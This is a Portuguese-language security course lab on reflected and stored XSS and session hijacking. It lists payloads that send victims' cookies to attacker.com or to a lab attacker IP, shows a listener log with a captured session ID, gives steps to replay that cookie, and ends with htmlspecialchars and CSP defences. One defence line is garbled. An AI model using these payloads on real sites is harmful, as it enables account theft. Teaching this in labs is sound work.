Lab 6.3: XSS e Sequestro de Sessão
Objetivos de Aprendizagem
Ao final deste laboratório, você será capaz de:
- Compreender os ataques Cross-Site Scripting (XSS)
- Diferenciar XSS Reflected, Stored e DOM-based
- Injetar JavaScript malicioso em uma aplicação web
- Roubar cookies de sessão
- Realizar um ataque de sequestro de sessão (session hijacking)
- Conectar-se como outro usuário sem saber sua senha
- Detectar vulnerabilidades XSS no código
- Implementar proteções (output encoding, CSP)
Duração Estimada
35 minutos
Pré-requisitos
- Aplicação web vulnerável (DVWA ou aplicação fornecida)
- Servidor web local (XAMPP/WAMP)
- Navegador web
- Compreensão básica de HTML e JavaScript
- Lab 6.2 (SQL Injection) concluído
Contexto Profissional
XSS está classificado no OWASP Top 10. Permite:
- Roubo de cookies e sessões
- Defacement de sites
- Redirecionamento para sites maliciosos
- Keylogging no lado do cliente
- Roubo de informações sensíveis
Casos reais:
- Twitter (2010): worm XSS auto-propagado
- eBay (2014): XSS persistente
- British Airways (2018): Skimming via XSS
AVISO ÉTICO E LEGAL
XSS permite roubar sessões de usuários e executar código malicioso no navegador das vítimas.
PERMITIDO:
- Aplicações de laboratório
- Bug bounty autorizado
- Testes com permissão
PROIBIDO:
- Sites reais sem autorização
- Roubo de sessões de terceiros
- Defacement de sites
Parte 1: XSS Reflected
Teste Básico
Em um campo de busca ou URL:
<script>alert('XSS')</script>
Se aparecer um popup: Vulnerável!
Explicação: O JavaScript é executado no navegador da vítima.
Roubo de Cookies
<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
Cookie enviado para o servidor do atacante!
Parte 2: XSS Stored (Mais Perigoso)
Injeção em Comentários
Em um campo de comentário:
<script>
fetch('http://attacker.com/log?cookie=' + document.cookie);
</script>
Salvo no banco de dados!
Cada visitante que vê o comentário:
- JavaScript executado
- Cookie roubado automaticamente
- Sessão comprometida
Parte 3: Sequestro de Sessão
Etapa 1: Roubar o Cookie
Payload XSS:
<script>
var img = new Image();
img.src = 'http://192.168.100.10:8000/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
Na VM do atacante, escute:
python3 -m http.server 8000
Quando a vítima visitar a página:
192.168.100.20 - - [08/Nov/2024 15:30:45] "GET /steal?cookie=PHPSESSID=abc123xyz456 HTTP/1.1" 200 -
Cookie capturado: PHPSESSID=abc123xyz456
Etapa 2: Usar o Cookie Roubado
Com a extensão "EditThisCookie" ou console do desenvolvedor:
document.cookie = "PHPSESSID=abc123xyz456";
location.reload();
Atualize a página:
BOOM! Conectado como a vítima SEM senha!
Parte 4: Proteção
Código Vulnerável
echo "Bonjour " . $_GET['name'];
Código Seguro
echo "Bonjour " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
htmlspecialchars: Converte < em <, bloqueia execução!
Content Security Policy (CSP)
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
Bloqueia todo JavaScript inline!
Entregáveis
- Relatório com capturas de tela do XSS funcional
- Cookie roubado e sequestro de sessão bem-sucedido
- Código vulnerável vs seguro
- Recomendações de proteção
Lab desenvolvido no âmbito do curso Sistemas Operacionais - MÓDULO 6